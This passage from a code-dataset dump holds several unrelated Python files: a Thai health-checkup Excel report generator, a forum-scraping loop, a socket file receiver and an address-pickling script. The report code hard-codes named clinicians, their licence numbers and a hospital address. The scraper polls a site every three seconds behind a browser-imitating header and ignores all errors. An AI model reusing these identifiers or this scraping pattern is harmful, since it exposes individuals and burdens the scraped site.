newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_Eye.append(newDataRow)\n if ('สายตาปกติ') not in newDataRow[13]:\n newDataSheetAbn_Eye.append(newDataRow)\n CountRatio['Eye'][0] += 1\n targetAbs[12].append(rowIdx)\n else:\n newDataSheetNor_Eye.append(newDataRow)\n CountRatio['Eye'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n #-------------------------------------------------------\n #=======================================================================\n if idx==6: #Is for PE\n additionalDataRow = BuildRowPE_Re(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_PE.append(newDataRow)\n# if float(newDataRow[9])>24.5 or (float(newDataRow[9])<18.5):\n# newDataSheetAbn_PE.append(newDataRow)\n# CountRatio['PE'][0] += 1\n# targetAbs[2].append(rowIdx)\n# else:\n newDataSheetNor_PE.append(newDataRow) \n CountRatio['PE'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n #======================================================================= \n #=======================================================================\n if idx==7:\n #=======================================================================\n additionalDataRow = BuildRowMicro(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_MICRO.append(newDataRow)\n if ('เกณฑ์ปกติ') not in newDataRow[18]:\n newDataSheetAbn_MICRO.append(newDataRow)\n CountRatio['Micro'][0] += 1\n targetAbs[13].append(rowIdx)\n else:\n newDataSheetNor_MICRO.append(newDataRow)\n CountRatio['Micro'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n #-------------------------------------------------------\n #=======================================================================\n pass #End for each row\n pass #End for each sheet\n\n #-----------------------------------------------------------------------------------\n newDataSheetAll = [] #newDataSheetAll has many newDataSheet\n newDataSheetAbnAll = []\n newDataSheetNorAll = []\n #-----------------------------------------------------------------------------------\n #Build Output Sheet blend to Single Workbook\n newDataSheetAll.append(newDataSheet_BP)\n newDataSheetAll.append(newDataSheet_BMI)\n newDataSheetAll.append(newDataSheet_ABO)\n newDataSheetAll.append(newDataSheet_CBC)\n newDataSheetAll.append(newDataSheet_FBS)\n newDataSheetAll.append(newDataSheet_Choles)\n newDataSheetAll.append(newDataSheet_Tri)\n newDataSheetAll.append(newDataSheet_HDL)\n newDataSheetAll.append(newDataSheet_LDL)\n newDataSheetAll.append(newDataSheet_CS)\n newDataSheetAll.append(newDataSheet_Xray)\n newDataSheetAll.append(newDataSheet_Eye)\n newDataSheetAll.append(newDataSheet_PE)\n newDataSheetAll.append(newDataSheet_MICRO)\n #------------------------------------------------\n newDataSheetAbnAll.append(newDataSheetAbn_BP)\n newDataSheetAbnAll.append(newDataSheetAbn_BMI)\n newDataSheetAbnAll.append(newDataSheetAbn_ABO)\n newDataSheetAbnAll.append(newDataSheetAbn_CBC)\n newDataSheetAbnAll.append(newDataSheetAbn_FBS)\n newDataSheetAbnAll.append(newDataSheetAbn_Choles)\n newDataSheetAbnAll.append(newDataSheetAbn_Tri)\n newDataSheetAbnAll.append(newDataSheetAbn_HDL)\n newDataSheetAbnAll.append(newDataSheetAbn_LDL)\n newDataSheetAbnAll.append(newDataSheetAbn_CS)\n newDataSheetAbnAll.append(newDataSheetAbn_Xray)\n newDataSheetAbnAll.append(newDataSheetAbn_Eye)\n newDataSheetAbnAll.append(newDataSheetAbn_PE)\n newDataSheetAbnAll.append(newDataSheetAbn_MICRO)\n #------------------------------------------------\n newDataSheetNorAll.append(newDataSheetNor_BP)\n newDataSheetNorAll.append(newDataSheetNor_BMI)\n newDataSheetNorAll.append(newDataSheetNor_ABO)\n newDataSheetNorAll.append(newDataSheetNor_CBC)\n newDataSheetNorAll.append(newDataSheetNor_FBS)\n newDataSheetNorAll.append(newDataSheetNor_Choles)\n newDataSheetNorAll.append(newDataSheetNor_Tri)\n newDataSheetNorAll.append(newDataSheetNor_HDL)\n newDataSheetNorAll.append(newDataSheetNor_LDL)\n newDataSheetNorAll.append(newDataSheetNor_CS)\n newDataSheetNorAll.append(newDataSheetNor_Xray)\n newDataSheetNorAll.append(newDataSheetNor_Eye)\n newDataSheetNorAll.append(newDataSheetNor_PE)\n newDataSheetNorAll.append(newDataSheetNor_MICRO)\n #------------------------------------------------ \n \n #=====================================================================================\n SheetNamesAll = ['BP','BMI','ABO','CBC','FBS','Cholesterol','Triglyceride','HDL',\n 'LDL','CS','X-Ray','Vision','PE_Other','MICROSCOPY',\n 'BP_Abs','BMI_Abs','ABO_Abs','CBC_abs','FBS_Abs','Cholesterol_Abs','Triglyceride_Abs',\n 'HDL_Abs','LDL_Abs','CS_Abs','X-Ray_Abs','Vision_Abs','PE_Other_Abs','MICROSCOPY_abs',\n 'BP_Nor','BMI_Nor','ABO_Nor','CBC_Nor','FBS_Nor','Cholesterol_Nor','Triglyceride_Nor',\n 'HDL_Nor','LDL_Nor','CS_Nor','X-Ray_Nor','Vision_Nor','PE_Other_Nor','MICROSCOPY_Nor']\n SheetNamesAll_Summary = ['BP_Result','BMI_Result','ABO_Result','CBC_Result','FBS_Result',\n 'Cholesterol_Result','Triglyceride_Result','HDL_Result',\n 'LDL_Result','CS_Result','X-Ray_Result','Vision_Result','PE_Other_Result','MICROSCOPY_Result']\n SheetNamesAll_Wel = ['Reserve', 'Report', 'Chart']\n\n workSheetAll = []\n for SheetName in SheetNamesAll:\n workSheetAll.append(outputWorkbook.create_sheet(SheetName))\n #------------------------------------------------------------------------------------\n workSheetAll_Summary = []\n for SheetName_Summary in SheetNamesAll_Summary:\n workSheetAll_Summary.append(outputWorkbook_Dash.create_sheet(SheetName_Summary))\n #------------------------------------------------------------------------------------\n workSheetAll_Wel = []\n for SheetName_Wel in SheetNamesAll_Wel:\n workSheetAll_Wel.append(outputWorkbook_Wel.create_sheet(SheetName_Wel))\n #=====================================================================================\n \n # -----------------------------------------------------------------------------------\n workSheetHeaderPrint = ['ผลการตรวจร่างกายทั่วไป (BP)','ผลการตรวจร่างกายทั่วไป (BMI)',\n 'ผลการตรวจ (ABO Group)',\n 'ผลการตรวจ (CBC Group)','ผลการตรวจระดับน้ำตาลในเลือด (FBS)',\n 'ผลการตรวจตรวจระดับไขมันในเลือด (Cholesterol)', 'ผลการตรวจตรวจระดับไขมันในเลือด (Triglyceride)',\n 'ผลการตรวจตรวจระดับไขมันในเลือด (HDL)','ผลการตรวจตรวจระดับไขมันในเลือด (LDL)',\n 'ผลการตรวจ Stool C/S','ผลการตรวจเอกซเรย์ทรวงอก (Chest X-Ray)',\n 'ผลการตรวจวัดสายตา (Vision Test)','ผลการตรวจร่างกายทั่วไป (Other)','ผลการตรวไมโคร (MICROSCOPY)']\n # Write Excel =========================================================================================\n for idx in range(len(workSheetAll)):\n workSheetAll[idx].merge_cells('A1:P1')\n #-------------------------------------------------------------------------\n if idx < int(len(workSheetAll)/3):\n for i, newRow in enumerate(newDataSheetAll[idx]): #Output Sheet Number\n workSheetAll[idx]['A1'] = workSheetHeaderPrint[idx] + ' ' + textCompany\n workSheetAll[idx]['A1'].alignment = AlignMid\n workSheetAll[idx].append(newRow) \n # Add Border----------------------------------------------------------------\n# print(workSheetAll[idx],0,columnCount[idx][1], 0, columnCount[idx][0])\n workSheetAll[idx] = strokeBorder(workSheetAll[idx],\n 0,columnCount[idx][1], 0, columnCount[idx][0],BorderNor)\n #--------------------------------------------------------------------------- \n elif idx<(len(workSheetAll)/3) * 2:\n idx_abs = idx - (int(len(workSheetAll)/3))\n for newRow in (newDataSheetAbnAll[idx_abs]):\n workSheetAll[idx]['A1'] = workSheetHeaderPrint[idx_abs] + ' ' + textCompany + ' ที่ผิดปกติ'\n workSheetAll[idx]['A1'].alignment = AlignMid\n workSheetAll[idx].append(newRow)\n # Add Border----------------------------------------------------------------\n workSheetAll[idx] = strokeBorder(workSheetAll[idx],\n 0,columnCount[idx_abs][1], 0, columnCount[idx_abs][0],BorderNor)\n #---------------------------------------------------------------------------\n else:\n idx_Nor = idx - (int(len(workSheetAll)/3) * 2)\n for newRow in (newDataSheetNorAll[idx_Nor]):\n workSheetAll[idx]['A1'] = workSheetHeaderPrint[idx_Nor] + ' ' + textCompany + ' ที่ปกติ'\n workSheetAll[idx]['A1'].alignment = AlignMid\n workSheetAll[idx].append(newRow)\n # Add Border----------------------------------------------------------------\n workSheetAll[idx] = strokeBorder(workSheetAll[idx],\n 0,columnCount[idx_Nor][1], 0, columnCount[idx_Nor][0],BorderNor)\n #---------------------------------------------------------------------------\n \n # ===================================================================================\n #Optimize targetAbs\n for i in range(len(targetAbs)):\n for j in range(len(targetAbs[i])):\n targetAbs[i][j] += 2\n #Design Session ====================================================================\n #Append Normal Sheet to Green\n for i in range(0,14):\n workSheetAll[i].sheet_properties.tabColor = \"CCCCCC\"\n workSheetAll[i]['A1'].fill = FillGray\n #Change Color cell abs to red\n# for idy, dataRow in enumerate(workSheetAll[i]): #Each row\n# if idy in targetAbs[i]:\n# for idz, dataCell in enumerate(dataRow): #Each cell\n# dataCell.font = FontRed\n \n #--Try set page--------------------------------------------------------\n workSheet = workSheetAll[i]\n workSheet.page_setup.orientation = workSheetAll[i].ORIENTATION_LANDSCAPE\n workSheet.page_setup.paperSize = workSheetAll[i].PAPERSIZE_A4\n# workSheet.page_setup.fitToWidth = 1\n# workSheet.sheet_properties.pageSetUpPr.fitToPage = True\n# workSheet.page_setup.fitToHeight = True\n# workSheet.page_setup.fitToWidth = True\n pass\n #--------------------------------------------------------------------\n #Append Abs Sheet to red\n for i in range(14,28):\n workSheetAll[i].sheet_properties.tabColor = \"F57171\"\n workSheetAll[i]['A1'].fill = FillRed\n # Font red -------------------------------------------------------\n for idy, dataRow in enumerate(workSheetAll[i]): #Each row\n for idz, dataCell in enumerate(dataRow): #Each cell\n dataCell.font = FontRed\n workSheetAll[i]['A1'].font = FontNormal\n # ----------------------------------------------------------------\n pass\n #Append Abs Sheet to Green\n for i in range(28,42):\n workSheetAll[i].sheet_properties.tabColor = \"61F37A\"\n workSheetAll[i]['A1'].fill = FillGreen\n pass\n #-----------------------------------------------------------------------------------\n \n #Summary Path ===============================================================================\n # workSheetAll_Summary is set of pointer including new summary sheet pointer ------\n CountRatioName = ['BP','BMI','PE','ABO','FBS','Choles','Tri',\n 'HDL','LDL','CS','Xray','Eye','CBC','Micro']\n #-----------------------------------------------------------------------------------\n for idx in range(len(workSheetAll_Summary)):\n result_all = (CountRatio[CountRatioName[idx]][0] + CountRatio[CountRatioName[idx]][1])\n result_Abs = (CountRatio[CountRatioName[idx]][0])\n result_Nor = (CountRatio[CountRatioName[idx]][1])\n \n result_Abs_per = int(((result_Abs*1.0)/result_all)*100)\n result_Nor_per = ceil(((result_Nor*1.0)/result_all)*100)\n #-----------------------------------------------------------------------------\n thisWorkSheet = workSheetAll_Summary[idx]\n thisWorkSheet.merge_cells('B3:H3')\n thisWorkSheet['B3'] = workSheetHeaderPrint[idx]+\" สรุปผล\"\n thisWorkSheet['B3'].alignment = AlignMid\n #------------------------------------------------------------------------------\n # Target text C5:I5 -----------------------------------------------------------\n thisWorkSheet['C5'] = \"รายการ\"\n thisWorkSheet['F5'] = \"จำนวนผู้ป่วย (คน)\"\n #---------------------------------------------\n thisWorkSheet['C6'] = \"จำนวนผู้ตรวจทั้งหมด\"\n thisWorkSheet['C7'] = \"จำนวนผู้ตรวจที่มีผลตรวจปกติ\"\n thisWorkSheet['C8'] = \"จำนวนผู้ตรวจที่มีผลตรวจผิดปกติ\"\n #------------------------------------------\n thisWorkSheet['F6'] = result_all\n thisWorkSheet['F7'] = result_Nor\n thisWorkSheet['F8'] = result_Abs\n # Expand Empty Data Range -----------------\n #------------------------------------------\n thisWorkSheet.merge_cells('C5:E5')\n thisWorkSheet.merge_cells('C6:E6')\n thisWorkSheet.merge_cells('C7:E7')\n thisWorkSheet.merge_cells('C8:E8')\n #---------------------------------\n thisWorkSheet.merge_cells('F5:G5')\n thisWorkSheet.merge_cells('F6:G6')\n thisWorkSheet.merge_cells('F7:G7')\n thisWorkSheet.merge_cells('F8:G8')\n #---------------------------------\n thisWorkSheet['F6'].alignment = AlignMid\n thisWorkSheet['F7'].alignment = AlignMid\n thisWorkSheet['F8'].alignment = AlignMid\n #---------------------------------------\n thisWorkSheet['H6'] = ''\n thisWorkSheet['H7'] = ''\n thisWorkSheet['H8'] = ''\n #-Add percent--Coding-------------------\n# thisWorkSheet.merge_cells('B11:H11')\n# thisWorkSheet['B11'] = workSheetHeaderPrint[idx]+\" สรุปผล\"\n# \n# thisWorkSheet.merge_cells('C13:E13')\n# thisWorkSheet.merge_cells('F13:G13')\n# thisWorkSheet['C13'] = ''\n# thisWorkSheet['F13'] = ''\n #---------------------------------------\n #Write Border (min_Y, max_Y, min_X, max_X)\n strokeBorder(thisWorkSheet,4, 7, 2, 6,BorderNor)\n \n # Target Graph at D8 -----------------------------------------------------------\n# data = [['จำนวนผู้ตรวจที่มีผลตรวจปกติ'],['จำนวนผู้ตรวจที่มีผลตรวจผิดปกติ']]\n #--------------------------\n pie = PieChart()\n labels = Reference(thisWorkSheet, min_col=3, min_row=7, max_row=8)\n data = Reference(thisWorkSheet, min_col=6, min_row=7, max_row=8)\n pie.add_data(data, titles_from_data=False)\n pie.set_categories(labels)\n pie.title = \"อัตราส่วนผลตรวจไม่ปกติต่อผลตรวจปกติ\" \n thisWorkSheet.add_chart(pie, \"B11\")\n #END Summary Path ==================================================================\n \n #First Page Part ===================================================================\n dateInput = '5/10/2559'\n \n textReserve_1 = ' หนังสือฉบับนี้ทำขึ้นเพื่อรับรองว่า '+textCompany+' ได้รับการเข้าตรวจ'\n textReserve_2 = 'สุขภาพพนักงานในวันที่'+dateInput+' ถึงวันที่ '+dateInput+' โดยโรงพยาบาลสุขสวัสดิ์ ใบอนุญาติสถาน' \n textReserve_3 = 'พยาบาล เลขที่ 10201001053 ซึ่งตั้งอยู่ เลขที่ 272 ถนนสุจสวัสดิ์ แขวงบางปะกอก เขตราษฎร์บูรณะ '\n textReserve_4 = 'กรุงเทพมหานคร 10140 และขอยืนยันว่าการตรวจได้จัดทำตามหลักมาตรฐานวิชาการ'\n \n SetMedical = ['ตรวจดัชนีมวลกาย : BP','ตรวจดัชนีมวลกาย : BMI','ตรวจหมู่เลือด : ABO','ตรวจความสมบูรณ์ของเม็ดเลือด : CBC',\n 'ตรวจระดับน้ำตาลในเลือด : FBS','ตรวจระดับไขมันในเลือด : FBS','ตรวจระดับไขมันในเลือด : Cholesterol',\n 'ตรวจระดับไขมันในเลือด : Triglyceride','ตรวจระดับไขมันในเลือด : HDL','ตรวจระดับไขมันในเลือด : LDL',\n 'ตรวจระดับไขมันในเลือด : CS','ตรวจเอกซเรย์ทรวงอก : Chest X-Ray','ตรวจการมองเห็น : Vistion','ตรวจเซลล์ : MICROSCOPY']\n \n ws_reserve = workSheetAll_Wel[0]\n ws_reserve.merge_cells('C3:H3')\n ws_reserve['C3'] = 'หนังสือรับรอง'\n ws_reserve['C3'].alignment = AlignMid\n ws_reserve.merge_cells('B5:J5')\n ws_reserve.merge_cells('B6:J6')\n ws_reserve.merge_cells('B7:J7')\n ws_reserve.merge_cells('B8:J8')\n ws_reserve['B5'] = textReserve_1\n ws_reserve['B6'] = textReserve_2\n ws_reserve['B7'] = textReserve_3\n ws_reserve['B8'] = textReserve_4\n# ws_reserve['A5'].alignment = AlignMid\n# ws_reserve['A6'].alignment = AlignMid\n# ws_reserve['A7'].alignment = AlignMid\n# ws_reserve['A8'].alignment = AlignMid\n ws_reserve.merge_cells('B10:F10')\n ws_reserve['B10'] = 'โดยมีพนันงานได้เข้ารับการตรวจดังรายการต่อไปนี้'\n for idx, row in enumerate(SetMedical):\n ws_reserve.merge_cells(('B'+ str(idx+11)) + (':' + ('F'+ str(idx+11))))\n ws_reserve['B'+ str(idx+11)] = row\n ws_reserve.merge_cells(('G'+ str(idx+11)) + (':' + ('H'+ str(idx+11))))\n ws_reserve['G'+ str(idx+11)] = 'จำนวนพนักงาน'\n ws_reserve['I'+ str(idx+11)] = str(CountRatio[CountRatioName[idx]][0] + \n CountRatio[CountRatioName[idx]][1]) + ' คน'\n \n ws_reserve.merge_cells('E26:F26')\n ws_reserve.merge_cells('D27:G27')\n ws_reserve.merge_cells('D28:G28')\n ws_reserve.merge_cells('E29:F29')\n ws_reserve.merge_cells('E30:F30')\n ws_reserve['E26'] = 'ขอแสดงความนับถือ'\n ws_reserve['D27'] = '....................................................'\n ws_reserve['D28'] = '(ทนพญ.ศิริจรรยา จันทร์ที)'\n ws_reserve['E29'] = 'ทน.8023'\n ws_reserve['E30'] = 'เทคนิคการแพทย์'\n ws_reserve['E26'].alignment = AlignMid\n ws_reserve['D27'].alignment = AlignMid\n ws_reserve['D28'].alignment = AlignMid\n ws_reserve['E29'].alignment = AlignMid\n ws_reserve['E30'].alignment = AlignMid\n \n ws_reserve.merge_cells('B35:E35')\n ws_reserve.merge_cells('B36:E36')\n ws_reserve.merge_cells('B37:E37')\n ws_reserve.merge_cells('B38:E38')\n ws_reserve['B35'] = '.........................................................'\n ws_reserve['B36'] = '(พล.ร.ท.นพ.ภาคินัย อิศรางกูร ณ อยุธยา)'\n ws_reserve['B37'] = 'ว.7516'\n ws_reserve['B38'] = 'แพทย์รังสีวิทยา'\n ws_reserve['B35'].alignment = AlignMid\n ws_reserve['B36'].alignment = AlignMid\n ws_reserve['B37'].alignment = AlignMid\n ws_reserve['B38'].alignment = AlignMid\n \n# img = Image('Sigm.png')\n# ws_reserve.add_image(img, 'B34') \n \n ws_reserve.merge_cells('F35:I35')\n ws_reserve.merge_cells('F36:I36')\n ws_reserve.merge_cells('F37:I37')\n ws_reserve.merge_cells('F38:I38')\n ws_reserve['F35'] = '.........................................................'\n ws_reserve['F36'] = '(นายแพทย์ พนมพันธ์ ศิริวัฒนานุกุล)'\n ws_reserve['F37'] = 'ว.11107'\n ws_reserve['F38'] = 'แพทย์อาชีวเวชศาสตร์'\n ws_reserve['F35'].alignment = AlignMid\n ws_reserve['F36'].alignment = AlignMid\n ws_reserve['F37'].alignment = AlignMid\n ws_reserve['F38'].alignment = AlignMid\n #-----------------------------------------------------------------------------------\n #CountRatioName , CountRatio, SetMedical\n ws_report = workSheetAll_Wel[1]\n ws_report.merge_cells('B3:I3')\n ws_report.merge_cells('D5:G5')\n ws_report.merge_cells('C6:H6')\n ws_report['B3'] = 'Annual Health Checkup Report'\n ws_report['D5'] = textCompany\n ws_report['C6'] = 'ระหว่างวันที่ 16/03/2559 ถึงวันที่ 16/03/2559'\n ws_report['B3'].alignment = AlignMid\n ws_report['D5'].alignment = AlignMid\n ws_report['C6'].alignment = AlignMid\n \n ws_report.merge_cells('B9:F9')\n ws_report['B9'] = 'รายการตรวจ'\n ws_report['B9'].alignment = AlignMid\n \n ws_report['G9'] = 'จำนวน'\n ws_report['H9'] = 'ปกติ'\n ws_report['I9'] = 'ผิดปกติ'\n ws_report['G9'].alignment = AlignMid\n ws_report['H9'].alignment = AlignMid\n ws_report['I9'].alignment = AlignMid\n \n# print('Len of CountRatioName :', len(CountRatioName))\n for idx in range(len(CountRatioName)): #CountRatioName[0]='BP'\n tar = 'B'+str(idx+10)+':'+'F'+str(idx+10)\n tarNumber = str(idx+10)\n ws_report.merge_cells(tar)\n ws_report['B'+tarNumber] = SetMedical[idx]\n ws_report['G'+tarNumber] = str(CountRatio[CountRatioName[idx]][0]+CountRatio[CountRatioName[idx]][1])+' คน'\n ws_report['H'+tarNumber] = str(CountRatio[CountRatioName[idx]][1])+' คน'\n ws_report['I'+tarNumber] = str(CountRatio[CountRatioName[idx]][0])+' คน'\n ws_report['I'+tarNumber].font = FontRed\n ws_report['G'+tarNumber].alignment = AlignMid\n ws_report['H'+tarNumber].alignment = AlignMid\n ws_report['I'+tarNumber].alignment = AlignMid\n pass\n \n strokeBorder(ws_report,8,24,1,9,BorderNor)\n #-----------------------------------------------------------------------------------\n #Chart Sheet\n #CountRatioName , CountRatio, SetMedical\n \n data = [] #abs, nor\n dataper = []\n for idx in range(len(CountRatioName)):\n absNum = CountRatio[CountRatioName[idx]][0]\n norNum = CountRatio[CountRatioName[idx]][1]\n bothNum = absNum + norNum\n absPercent = int((absNum*1.0)/bothNum *100)\n norPercent = int(ceil((norNum*1.0)/bothNum *100))\n \n data.append([absNum, norNum])\n dataper.append([absPercent, norPercent])\n #------------------------------------------------\n ws_chart = workSheetAll_Wel[2]\n ws_chart.merge_cells('B2:I2')\n ws_chart.merge_cells('B3:I3')\n ws_chart.merge_cells('C6:F6')\n ws_chart['B2'] = textCompany\n ws_chart['B3'] = 'ตั้งแต่วันที่ ' + dateInput + ' ถึงวันที่ ' + dateInput\n ws_chart['B2'].alignment = AlignMid\n ws_chart['B3'].alignment = AlignMid\n \n ws_chart['B6'] = 'ลำดับ'\n ws_chart['C6'] = 'ประเภทการตรวจ'\n ws_chart['G6'] = 'ปกติ (%)'\n ws_chart['H6'] = 'ผิดปกติ (%)'\n ws_chart['B6'].alignment = AlignMid\n ws_chart['C6'].alignment = AlignMid\n ws_chart['G6'].alignment = AlignMid\n ws_chart['H6'].alignment = AlignMid\n \n lenData = len(data)\n for idx in range(lenData):\n tarNum = str(idx+7)\n ws_chart.merge_cells('C'+tarNum+':'+'F'+tarNum)\n ws_chart['B'+tarNum] = idx+1\n ws_chart['B'+tarNum].alignment = AlignMid\n ws_chart['C'+tarNum] = SetMedical[idx]\n ws_chart['G'+tarNum] = dataper[idx][1]\n ws_chart['H'+tarNum] = dataper[idx][0]\n ws_chart['H'+tarNum].font = FontRed\n #------------------------------------------------\n chart1 = BarChart()\n chart1.height = 10\n chart1.width = 18\n chart1.type = \"col\"\n chart1.style = 10\n chart1.title = \"ผลการตรวจภาพรวม\"\n chart1.y_axis.title = 'จำนวน (%)'\n chart1.x_axis.title = 'ประเภทการตรวจ'\n #------------------------------------------\n data = Reference(ws_chart, min_col=7, min_row=6, max_row=20, max_col=8)\n cats = Reference(ws_chart, min_col=2, min_row=7, max_row=20)\n chart1.add_data(data, titles_from_data=True)\n #chart1.set_categories(cats)\n chart1.shape = 4\n ws_chart.add_chart(chart1, \"B22\")\n #------------------------------------------------\n strokeBorder(ws_chart,5,20,1,8,BorderNor)\n #=================================================================================== \n outputWorkbook.save(outputDir+'Data_'+WorkbookName)\n outputWorkbook_Dash.save(outputDir+'Summary_'+WorkbookName)\n outputWorkbook_Wel.save(outputDir+'Welcome_'+WorkbookName)\n print(\"Write Data Complete.\")\n return outputWorkbook\n #Program Session ===================================================================\n \ndef strokeBorder(workSheet,min_Y, max_Y, min_X, max_X, BorderStyle):\n max_Y += 2\n for i, row in enumerate(workSheet):\n if min_Y <= i <= max_Y:\n for j, cell in enumerate(row):\n if min_X <= j <= max_X:\n cell.border = BorderStyle\n return workSheet\n \ndef Create_AddTempHeader(tempHeader):\n newDataSheetTemp = []\n newDataSheetTempAbn = []\n newDataSheetTempNor = []\n \n newDataSheetTemp.append(tempHeader)\n newDataSheetTempAbn.append(tempHeader)\n newDataSheetTempNor.append(tempHeader)\n return (newDataSheetTemp,newDataSheetTempAbn,newDataSheetTempNor)\n\ndef BuildRowBP(dataRow):\n additionalDataRow = [dataRow[17]+' / '+dataRow[18],dataRow[19],dataRow[20]]\n return additionalDataRow\ndef BuildRowBMI(dataRow): #gg\n additionalDataRow = [dataRow[13],dataRow[14],dataRow[15],dataRow[20]]\n return additionalDataRow\ndef BuildRowPE(dataRow, dataRow_2): #gg\n additionalDataRow = [dataRow[13],dataRow[14],dataRow[15]]+[dataRow_2[14],\n dataRow_2[15],dataRow_2[16],dataRow_2[17],dataRow_2[18],\n dataRow_2[19],dataRow_2[20],dataRow_2[21],dataRow_2[22]]\n return additionalDataRow\n\ndef BuildRowPE_Re(dataRow): #gg\n additionalDataRow = [dataRow[13],dataRow[14],dataRow[15],dataRow[16],dataRow[17],dataRow[18]\n ,dataRow[19],dataRow[20],dataRow[21],dataRow[22],dataRow[23]]\n return additionalDataRow\n\ndef BuildRowABO(dataRow): \n additionalDataRow = [dataRow[13],dataRow[14]]\n return additionalDataRow\ndef BuildRowCBC(dataRow): \n additionalDataRow = [dataRow[15],dataRow[16],dataRow[17],dataRow[18],dataRow[19],\n dataRow[20],dataRow[21],dataRow[22],dataRow[23],dataRow[24],\n dataRow[25],dataRow[26],dataRow[27],dataRow[28],dataRow[29],\n dataRow[30],dataRow[31]]\n return additionalDataRow\ndef BuildRowFBS(dataRow): \n additionalDataRow = [dataRow[13],dataRow[14]]\n return additionalDataRow\ndef BuildRowCholes(dataRow): \n additionalDataRow = [dataRow[15],dataRow[16]]\n return additionalDataRow\ndef BuildRowTri(dataRow): \n additionalDataRow = [dataRow[17],dataRow[18]]\n return additionalDataRow\ndef BuildRowHDL(dataRow): \n additionalDataRow = [dataRow[19],dataRow[20]]\n return additionalDataRow\ndef BuildRowLDL(dataRow): \n additionalDataRow = [dataRow[21],dataRow[22]]\n return additionalDataRow\ndef BuildRowCS(dataRow): \n additionalDataRow = [dataRow[13],dataRow[14]]\n return additionalDataRow\ndef BuildRowXray(dataRow): \n additionalDataRow = [dataRow[13],dataRow[14],dataRow[15]]\n return additionalDataRow\ndef BuildRowEye(dataRow): \n additionalDataRow = [dataRow[14],dataRow[15],dataRow[16],dataRow[17],dataRow[18],\n dataRow[19],dataRow[20],dataRow[21]]\n return additionalDataRow\ndef BuildRowMicro(dataRow): \n additionalDataRow = [dataRow[13],dataRow[14],dataRow[15],dataRow[16],dataRow[17],\n dataRow[18],dataRow[19],dataRow[20],dataRow[21],dataRow[22],\n dataRow[23],dataRow[24]]\n return additionalDataRow\n","sub_path":"Model/SplitExcel.py","file_name":"SplitExcel.py","file_ext":"py","file_size_in_byte":51784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"320619715","text":"# -*- coding: UTF-8 -*-\nimport re #导入正则表达式库\nimport time #导入延时函数库\n#import androidhelper #导入安卓API库\nimport chardet\nimport requests\nimport sqlite3\nimport os\n\nos.chdir(os.path.dirname(__file__))\n\nconn = sqlite3.connect(r'F:\\学习资料\\编程学习\\pathon\\基础操作\\basic\\django\\mysite\\db.sqlite3')\n# 创建一个Cursor:\ncursor = conn.cursor()\n\n\nurl = \"http://www.zuanke8.com/forum.php?mod=forumdisplay&fid=15&filter=author&orderby=dateline\"\nheaders={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\n 'Host': 'www.zuanke8.com',\n 'Content-Type': 'text/html',\n 'Connection': 'Keep-Alive',\n 'Cache-Control': 'max-age=0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'\n }\n\n\n\nxb=[] #创建一个空的列表保存线报清单\n#droid=androidhelper.Android()\nwhile 2>1:\n try:\n r=requests.get(url,headers=headers)\n a=r.text\n result = re.findall(r'(.+?)[\\n\\r]{2} - \\[阅读权限 ([0-9]+)',a)\n for x in result:\n cursor.execute('select * from table1 where 线报=?', (x[1],))\n values = cursor.fetchall()\n if len(values)==0:\n xb.append(x)\n href=x[0].replace('amp;','')\n cursor.execute(\"insert into table1 values (?,?,?,?,?)\",(None,href,x[1],x[2],time.strftime(\"%m/%d/%Y %H:%M\")))\n # 提交事务:\n conn.commit()\n \n print(x[1],x[2])\n #droid.vibrate(3000) #震动\n\n time.sleep(3) #每60s循环一次\n except BaseException as e:\n #print('产生了错误,跳过错误:', e)\n time.sleep(3)\n pass\n\n# 关闭Cursor:\ncursor.close()\n\n# 关闭数据库\nconn.close()\n\n\n","sub_path":"赚吧监控 - django.py","file_name":"赚吧监控 - django.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"588873973","text":"\nimport socket\n\nzsocket = socket.socket()\nhost = socket.gethostname()\nport = 7002\n\nzsocket.connect((host, port))\n\nwith open('arquivo.mkv', 'wb') as file:\n\n while True:\n print('...')\n data = zsocket.recv(1024)\n if not data:\n break\n file.write(data)\n\nfile.close()\nzsocket.close()\n","sub_path":"classic Sockets/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"32238087","text":"'''This program creates a dataframe from the address data, creates\nfields for the new variables we want, then saves the dataframe as a \npickle.\n\nThe address data is assumed to be saved as a CSV file called\naddresses.csv with the following variables:\naddressid - An integer uniquely identifying each address\naddressline1 - Address line 1\naddressline2 - Address line 2\ncity - Address city\nstate - Address state\nzipcode - Address ZIP code'''\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport time\n\nif 'addresses.pkl' in os.listdir():\n print('addresses.pkl already exists - delete manually before creating a new pickle')\n quit()\n\nconv = {'addressid': int, 'addressline1': str, 'addressline2': str,\n 'city': str, 'state': str, 'zipcode': str}\nloadstart = time.time()\ndf = pd.read_csv('addresses.csv', header = 0, converters = conv)\nloadstop = time.time()\nprint('Took', round(loadstop - loadstart, 2), 'seconds to read in', df.shape[0], 'addresses')\n\ndf['jsonstring'] = np.nan\ndf['matchstatus'] = np.nan\ndf['numberofresults'] = np.nan\n\ndf.to_pickle('addresses.pkl')","sub_path":"google-maps-api/init_pickle.py","file_name":"init_pickle.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"37160734","text":"#!/usr/bin/python3\n\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport numpy as 